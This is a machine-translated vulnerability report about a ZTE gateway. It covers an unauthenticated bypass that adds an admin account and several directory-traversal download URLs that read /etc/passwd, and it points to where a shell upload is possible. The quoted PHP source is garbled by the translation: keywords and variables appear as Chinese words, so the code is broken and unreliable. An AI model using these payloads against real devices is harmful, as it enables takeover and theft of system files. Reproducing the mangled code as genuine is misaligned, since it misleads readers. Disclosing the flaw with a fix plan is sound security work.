漏洞标题 中兴某网关设备后台绕过可Shell+N处任意文件下载漏洞合集 相关厂商 中兴通讯股份有限公司 漏洞作者 pandas 提交时间 2016-03-31 17:43 公开时间 2016-06-3…
漏洞标题
中兴通讯的网关设备后台绕过Shell + N的任何文件下载漏洞集合
相关制造商
中兴通讯
漏洞作者
熊猫
提交时间
2016-03-31 17: 43
公共时间
2016-06-30 09: 10
漏洞类型
许可控制旁路
危险等级
高
自我评估等级
18
漏洞状态
制造商已确认
标签标签
漏洞详细信息
有两种方法可以使用这种背景旁路,原理几乎相同,它不会刷洞:)
首先,添加任何管理员帐户登录背景
二,有权编辑原管理员用户,修改其密码登录后台
第一种情况用于示范。毕竟,第二种情况更为暴力。
漏洞文件模块/admin/admin_account.be.php:
函数admin_account_add($ post){
全球$ db;
全球$ res;
全球$ lang;
如果(!ci($ post ['txt_name'],'name',3,20)){
$水库> set_resultcode( ' - 2');
$ res-> set_resultstr($ lang ['user']。':'。$ lang ['namereq3']);
返回;
}
如果(!CI($信息[ 't_name'], '实名',3,20)){
$水库> set_resultcode( ' - 2');
$ res-> set_resultstr($ lang ['realname']。':'。$ lang ['error_realname']);
返回;
}
如果(!CI($信息[ 't_dept'], '实名',0,20)){
$水库> set_resultcode( ' - 2');
$ res-> set_resultstr($ lang ['dept']。':'。$ lang ['error_realname2']);
返回;
}
如果(!CI($信息[ '电子邮件'], '电子邮件')){
$水库> set_resultcode( ' - 2');
$ res-> set_resultstr($ lang ['email']。':'。$ lang ['error_email']);
返回;
}
如果(!CI($信息[ 't_desc'], '实名',0,100)){
$水库> set_resultcode( ' - 2');
$ res-> set_resultstr($ lang ['desc']。':'。$ lang ['error_role_desc']);
返回;
}
如果($信息[ 'sel_role']==' - 1'){
$水库> set_resultcode( ' - 2');
$ res-> set_resultstr($ lang ['emptyform']。':'。$ lang ['adminrole']);
返回;
}
如果(!ci($ post ['pas_password'],'uaname',5,20)){
$水库> set_resultcode( ' - 2');
$ res-> set_resultstr($ lang ['password']。':'。$ lang ['admin_pwd_error']);
返回;
}
如果($ post ['pas_password']!=$ post ['pas_password2']){
$水库> set_resultcode( ' - 2');
$ res-> set_resultstr($ lang ['rtpass']。':'。$ lang ['passerr']);
返回;
}
$ count=$ db-> countOf('oft_operators','name=binary''。$ post ['txt_name']。''');
如果($计数大于0){
$水库> set_resultcode( ' - 2');
$水库> set_resultstr($郎[ 'dupname']);
返回;
}
$ sql0='插入oft_operators(name,realname,department,contact,descript,password,state,user_type,role_id,email)值(''。$ post ['txt_name']。'',''。$。 post ['t_name']。'',''。$ post ['t_dept']。'',''。$ post ['t_contact']。'',''。$ post ['t_desc']。' ',''。md5($ post ['pas_password'])。'',''。(isset($ post ['chk_state'])?1: 0)。'',''。$ post ['object_type ''。'',''。$ post ['sel_role']。'',''。$ post ['email']。'''';
$ DB->执行($ sql0);
$ NEW_ID=$ DB-> lastInsertedId();
$ sqla=阵列();
if($ post ['object_type']=='1'|| $ post ['object_type']=='2'){
为($ I=计数($交[ 'sel_obj']); $ I大于0; $ I - ){
$ sqla []='插入oft_oper_user值(''。$ new_id。'',''。$ post ['sel_obj'] [$ i-1]。''''';
}
}
$ db-> execute('start transaction');
Foreach($ sqla as $ sqlstr){
如果(!$ db-> execute($ sqlstr)){
$ DB->执行( '回滚');
$水库> set_resultcode( ' - 4');
$水库> set_resultstr($郎[ 'DBERR']);
返回;
}
}
$ DB->执行( '提交');
$ GLOBALS ['logs'] - > writelog(CATEGORY_OPERATE,'添加','添加帐户'。$ post ['t_name'],$ post ['hid_path'],'添加帐户');
$水库> set_resultcode( '0');
$水库> set_resultstr($郎[ '成功']);
}
无需授权即可访问此文件,并可将上述功能代码直接添加到管理员用户:

如图所示,添加了test123密码为123456的管理员。
但是,这里有一个小坑。虽然页面返回添加成功,但实际上并未成功登录,但您需要添加新的管理组:
漏洞文件:modules/admin/admin_role.be.php
代码未发布,上面的逻辑类似。应该清楚如何使用这个系统。如果您还没有挖它,可以查看测试代码区域,该区域包含漏洞的完整使用代码。

此时,我们可以使用新的test123:成功登录管理后台

可以gethell,登录后有很多漏洞,不会刷漏洞,具体上传getshell可以看看modules/system/sys_backuprestore.be.php这个文件:

使用代码查看测试代码区域
漏洞证明:
顺便说一句,我发现要下载几个文件,不再分析代码,直接给出使用代码:(可能有重复,有劳动审查说明)
1. **。**。**。**/modules/system/download.php?file=/etc/passwd
2. **。**。**。**/download.php?filename=passwd& id=./././././././././etc/passwd文件
3. **。**。**。**/modules/audit/email_download.php?file=/etc/passwd
4. **。**。**。**/modules/audit/download.php?file=/etc/passwd
5. **。**。**。**/modules/service/download.php?id=/./././././././etc/passwd&文件=1
更多一般情况详见老年人提交的案例。
http://**。**。**。**/bugs/wooyun-2010-0189550
:)
修理计划:
不仅要验证用户权限,还要过滤。
版权声明:请注明源熊猫@乌云